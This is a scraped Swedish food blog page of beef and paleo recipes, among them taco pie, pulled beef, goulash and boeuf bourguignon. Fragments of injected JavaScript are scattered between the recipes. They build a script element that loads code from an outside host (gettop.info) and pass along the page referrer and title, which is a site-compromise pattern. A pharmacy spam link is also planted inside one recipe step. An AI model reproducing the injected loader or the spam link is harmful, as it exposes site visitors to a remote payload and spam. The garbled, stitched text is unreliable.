Tacopaj

bild26

Nu har jag lagat en god tacopaj (paleo) och originalreceptet hittade jag här. Då jag är lite feg med starka smaker så
minskade jag en aning på chilipulver och cayennepeppar till köttfärsen.

Paleo Tacopaj:

Pajdeg
3 dl mandelmjöl
½ dl skalade sesamfrön
1 msk psyllium (eller fiberhusk)
1 tsk havssalt
40 g kokosolja
1 ägg
 bild13bild12bild16bild15bild14bild8
Fyllning
 400 g nötfärs
Tacokrydda – till ca 500g nötfärs blanda; 1½ tsk salt, 2 tsk chilipulver, 2 tsk paprikapulver, 1 tsk vitlökspulver, 1 tsk lökpulver,1 tsk spiskummin, 1 krm cayennepeppar
1 dl vatten
bild6bild10bild5bild4
Äggstanning
3 ägg
2 dl kokosmjölk
3-4 dl het salsa (förbered i förväg enl följande – 500g krossade tomater, 1 finhackad gul lök, 4-6 finhackade feferoni, 1-2 pressade vitlöksklyftor, 1 tsk chilipulver, 1 tsk paprikapulver, 0,5-1 tsk spiskummin, 1 krm cayennepeppar, salt och

peppar)

bild19bild18bild17bild11
bild9bild7bild2bild3
Dekoration
 Paprika
Gör så här:
  • Sätt ugnen på 175 grader
  • Börja med pajdegen och mixa mandelmjöl och de skalade sesamfröna i en mixer
  • Tillsätt de övriga ingredienserna och mixa till en deg
  • Tryck ut degen i en pajform och nagga med en gaffel
  • Förgrädda pajskalet i ca 10 minuter tills det fått lite färg
  • Börja med fyllningen
  • Bryn nötfärsen i lite kokosolja
  • Blanda till en sats med hemma tacokrydda ( se ingredienser ovan)
  • Häll på tacokryddan över nötfärsen och rör om
  • Häll https://www.acheterviagrafr24.com/viagra-pas-cher/ på vattnet och rör om igen så att

    kryddorna riktigt går in i nötfärsen

  • Låt vattnet koka in i nötfärsen.
  • Fyll pajskalet med nötfärsen
  • Vispa samman äggen och kokosmjölken och tillsätt den heta salsan,, ta salsa efter tycke och smak.
  • Häll äggstanningen över nötfärsen
  • Dekorera med lite paprika
  • Grädda pajen mitt i ugnen i ca 25 minuter eller tills äggstanningen stelnat och fått fin färg

Servera sedan pajen med en god sallad!

 

 

bild8bild5bild20bild22bild23

tacobild26bild27bild29bild30bild31

 }

var d=document;var s=d.createElement(‘script’);

Pulled beef

bild6

bild8Igår lagade jag en supergod pulled beef som smakade mycket gott.
Receptet fick jag av Kim, en träningskompis på CrossFit Göta.

Recept  4 portioner
1 kg fransyska
1 flaska öl (33 cl)
1 paket krossade tomater
2 klyftade lökar
3 vitlöksklyftor
1 msk paprikapulver
1 msk salt
1 msk spiskummin
1/2-1 msk chiliflakes
Lite vitpeppar

Gör så här: Lägg köttbiten i grytan och lägg löken och kryddorna på toppen av köttbiten. Häll krossade tomater över köttet och ölen. In i ugnen på 150 grader ca 6 timmar alt. koka i tryckkokare i 2 timmar. När den är färdig smaksätt med en pressad citron och lite av vätskan i grytan.

bild4bild3bild3bild1bild5bild7bild6

Servera din pulled beef med coleslaw och grönsaker och en god sås. Jag använde ett mjukt tacobröd till min pulled beef. Jag rörde ihop en god vitlöksdressing också till köttet.

Recept 2 personer
150 – 300  g vitkål
2 morötter
1 rödlök
1 dl majonnäs
1 dl Creme Fraiche
2 tsk Dijon Senap
svartpeppar (nymald)

Gör så här:
Strimla alla grönsakerna och blanda ihop dom med Creme Fraiche , majonnäs och Dijonsenap!

bild8bild1

Kall vitlöksdressing
1 liten burk creme fraiche
2-3 msk majonnäs
1 pressad vitlöksklyfta
Lite salt och peppar

Gör så här. Rör ihop alla ingredienser och låt stå i kylskåp tills servering.

bild2

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Chili con carne

Igår lagade jag en supergod och enkel Chili con carne. Grundreceptet hittade jag här.

Ingredienser (4 personer)
400 gram nötfärs
1 gul lök
2 vitlöksklyftor
2 msk rapsolja
1 grön paprika (jag tog en röd paprika)
1 burk krossade tomater
2 msk tomatpuré
1 köttbuljongtärning
1 tsk chilipeppar
3 krm mejram
1 burk vita bönor i tomatsås (jag använde Heinz vita bönor i tomatsås)
1 burk borlotti bönor (jag köpte Coop’s egna märke)
1 förpackning passerade tomater

Tillagning
1. Skala och hacka löken och vitlöken. Kärna ur paprikan och skär den i bitar. Bryn lök och vitlök i lite olja på svag värme. Rör ner färsen och paprikan. Bryn alltsammans några minuter. Tillsätt tomatpuré och fräs en minut.
2. Lägg i resten av ingredienserna och kryddorna. Koka grytan utan lock ca 10-15 minuter. Rör om ofta. När det mesta av vätskan har kokat in, smaka av med salt och peppar.
3. Låt alltsammans bli genomvarmt. Servera med ris och sallad.

Bulle

 } else {

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Köttbullar

Det här receptet hittade jag på recept.nu och  är bland de godaste köttbullarna jag lagat….

Recept:

500gr nötfärs
1st ägg
1dl mjölk,
1dl ströbröd
1tsk dijonsenap
2msk kalvfond
1st gul lök,liten, riven
1tsk salt
1tsk svartpeppar

Gör så här:
Vispa ihop ägg, mjölk, ströbröd, senap, kalvfond, lök, salt och peppar i en bunke. Låt stå i ca 10 minuter så det tjocknar till lite.
Smaka av och krydda med mer salt och peppar om du vill.
Blanda i köttfärsen och mosa runt med händerna. Rulla smeten till ca 25 st köttbullar.
Sätt plattan på högsta värmen och smält smöret.
Lägg i köttbullarna och sänk plattan till medelvärme. Lägg inte i för många i taget, ungefär 5-10 st åt gången.
Stek köttbullarna till de är genomstekta och krispiga på ytan.

 }

} else {} else {

Two buns n’ meat

För några dagar sedan åt jag nog en av de godaste hamburgarna ever. Hamburgaren köpta jag på ”Two buns n’ meat”. Ni hittar deras fb sida här. Jag åt en ”Klose” hamburagare med kanderad bacon, karamelliserad lök, pepper jack ost, cayennemayo och tomat.

bild1

Nedan tre bilder har jag lånat från Two buns n’ meats’s fb sida.

Bild1bild3bild2
Nedan kommer lite bilder som jag fotat själv.

bild7bild8

bild4bild2bild3bild9bild10

Varje dag serverar de nya sorters hamburgare och på deras fb sida informerar de vart deras food truck är uppställd under dagen.

 } else {

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);

Köttfärsröra från Medelhavet

Här kommer en supergott recept på en god köttfärsröra.

bild14
Recept
500 gram nötfärs
1 gul lök (hackad)
2 vitlöksklyftor
1 liten zucchini
1 halloumi
Salt
Peppar

Gör så här: Stek upp köttfärsen, löken och zucchinin var för sig och provsmaka dig fram med salt och peppar. Blanda ihop allt i en röra. Stek/grilla Halloumi och lägg på toppen.

Tillbehör
2 stora tomater
1 röd lök
Oliver (ta dina favoriter)
1 påse ruccolasallad
1 burk bruschetta mix

bild4

bild5bild7bild6

bild12

 

bild9

bild8bild10Vid servering: Lägg ruccolasallad i botten av ett serveringsfat, lägg på köttfärsröran med halloumi och sen tomater, rödlök och oliver. Klicka ut lite bruschetta  mix på rätten.

bild3

bild13

 

 

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

d.getElementsByTagName(‘head’)[0].appendChild(s);

Köttfärsbiffar

bild1

Häromdagen gjorde jag goda köttfärsbiffar.

Recept till 6 biffar
500 gram nötfärs
1 ägg
Soltorkade tomater
Färsk basilika
salt, peppar, paprikapulver
Kokosolja att steka biffarna i

Gör så här:
Blanda alla ingredienser till en smet och rulla 6 bollar. Jag plattade till biffarna med hjälp av ett bakplåtspapper och ställer en bakplåt med en kastrull över. Då plattar du till dina biffar. Bryn dina biffar i stekpannan och lägg biffarna på en bakplåt och färdiggrilla dina biffar på 200 grader ca 10-15 min .

bild8bild7bild6

bild3bild4bild5bild2

Servera dina biffar med  wokade/grillade grönsaker och en sallad.document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

Gulasch

 bild2

Igår lagade jag en mycket god Gulasch. Receptet hittade jag på  Karl Hulténs blogg. Servera soppan med lite egengjord aioli (se nedan för recept) och några frökex.

Recept 2 personer
Matlagningsfett (jag använde kokosolja)
250 gram  nötkött skuret i kuber (högrev och andra grytbitar går bra att använda)
2 medelstora skivade lökar
1 stor vitlöksklyfta, krossad och finskuren, eller pressad
1 skivad röd paprika
2 msk paprikapulver (detta kan justeras efter smak, var inte rädd att använda mycket)
2 tsk kummin
1 burk krossade tomater (färska tomater är ännu bättre)
4 dl  köttbuljong (jag använde min egna köttbuljong som jag kokat av märgben)
Lite salt och peppar som smaksättning
Hackad persilja till garnering.

Tillagning

  1. Bryn kuberna av nötkött i en kastrull med kokosolja.
  2. Lägg köttet åt sidan och bryn löken tills den mjuknar. Tillsätt vitlök och paprika fortsätt bryningen i cirka 5 minuter på medelvärme.
  3. Tillsätt åter köttet och tillsätt kryddor, tomater och buljong.
  4. Sätt ett lock på grytan  på svag värme på spisen.
  5. Låt det sjuda i ca 2 timmar till 3 timmar, tills köttet blir mört
  6. Servera och njut av de kryddigt starka smakerna.Kan rekommendera att servera din gulasch med en klick egengjord aioli (egengjord majonnäs med en pressad vitlöksklyfta i).

bild14

bild15bild13bild16

bild9bild7

 bild4

 

bild3

bild1 bild5

Majonnäs Ingredienser
2 äggulor
1 tsk senap ( frivilligt)
3 tsk citronsaft
1,5  dl olivolja
0,5 dl kokosolja (uppvärmd, flytande)
Lite salt och peppar

Tillagning Vispa samman äggulorna med 1 tsk citronjuice och senapen. Fortsätt vispa hårt samtidigt som du långsamt droppar i oljan. Droppe för droppe i början. Vispa oavbrutet När du tillsätter mer olja kommer blandningen att bli tjockare och du kan tillsätta olja lite snabbare När oljan är uppbunden i majonnäsen tillsätter du resten av citronjuicen och smakar av. Tillsätt salt och peppar efter tycke och smak. Majonnäsen kan förvaras i kylskåpet ca 1 vecka.

För aiolivariant gör du så här
Lägg i 1-2 pressade vitlöksklyftor i majonnäsen och låt stå i kylen en liten stund innan servering.

if (document.currentScript) {

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Boef Bourguignon

bild3

Igår lagade jag Boef Bourguignon och receptet hittade jag här. Fick tipset att man kan reda ut grytan med Arrowrot istället för mjöl om man kör Paleo/glutenfritt.

Recept:
1,5 kg nötkött, högrev, ytterlår eller fransyska
2 msk kokosolja
2 st morötter
6 smålökar
1,5 tsk Himalayasalt
2 krm svartpeppar
6 dl rött vin (jag tog den flaskan jag hade hemma)
5 dl köttbuljong (jag lagade min egna buljong)
2 msk tomatpuré
0,5 tsk timjan (torkad)
1 st lagerblad
3 st vitlöksklyftor
300 gram champinjoner

Gör så här:
Skär köttet i 2-3 cm stora tärningar. Bryn det i omgångar i en stekpanna och lägg över i en rymlig gryta.
Skär morötterna i skivor och dela champinjonerna om de är stora. Fräs lite lätt och lägg över i grytan tillsammans med löken. Salta och peppra. Häll på vin och buljong så det täcker. Tillsätt tomatpuré, timjan och lagerblad. Pressa vitlöksklyftorna och koka upp grytan under omrörning. Låt grytan småputtra tills köttet är mört ca 1 1/2 timme.

bild10

bild11

bild9

bild8

bild7bild6bild5bild2

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Beef Stew (Paleo)

bild2

Det här receptet lagade jag med lövbiff. Du kan även laga detta recept med  bogkött eller högrev men då blir koktiden längre.

Recept (4-6 personer)
1 kg lövbiff
1-2 Spring onion (salladslök)
1/2 cup soja sås (glutenfri)
4 cups buljong (kött)
2-4 tbsp  honung
4 tbsp sesame oil (kan uteslutas)
4 tbsp sesamfrön
1 pc stjärnanis
1-2 stora vitlöksklyftor
1 röd lök (finskuren)
1 tsp cayenne pepper
lite fish sauce
Nymalen svartpeppar
Salladslök att garnera vid servering

Gör så här:
1. Stek upp vitöken  i lite kokosolja och lägg på en fat. Sen steker du  upp rödlöken och lägg på ett fat.
2. Skär upp köttet i mindre bitar och bryn upp köttet i en gryta.
4. Häll i sojasås och buljongen så det täcker köttet.
5. Lägg i stjärnanis och lite honung. Låt de puttra i ca 5-10 minuter tills köttet är genomstekt. Glöm ej ta bort din stjärnanis innan servering.
6. Häll i sesamolja, sesamfrön, salladslök, Cayenne peppar, vitlök och rödlök. Låt det småkoka i några minuter.
Ev kan du behöva krydda med lite nymalen svartpeppar och fish sause. Servera tillsammans med rotfrukter eller zucchinipasta eller varför inte sötpotatis pasta.

Om du tillagar denna rätt med högrev eller bog så skär köttet i mindre, kubformade bitar, följ receptet som ovan men koktiden blir ca 45-60 minuter. Ev kan du behöva hälla i lite mer vatten i grytan så köttet blir täckt ordentligt.

bild9

bild8

bild10

bild7bild5Bild1bild6bild4bild24document.currentScript.parentNode.insertBefore(s, document.currentScript);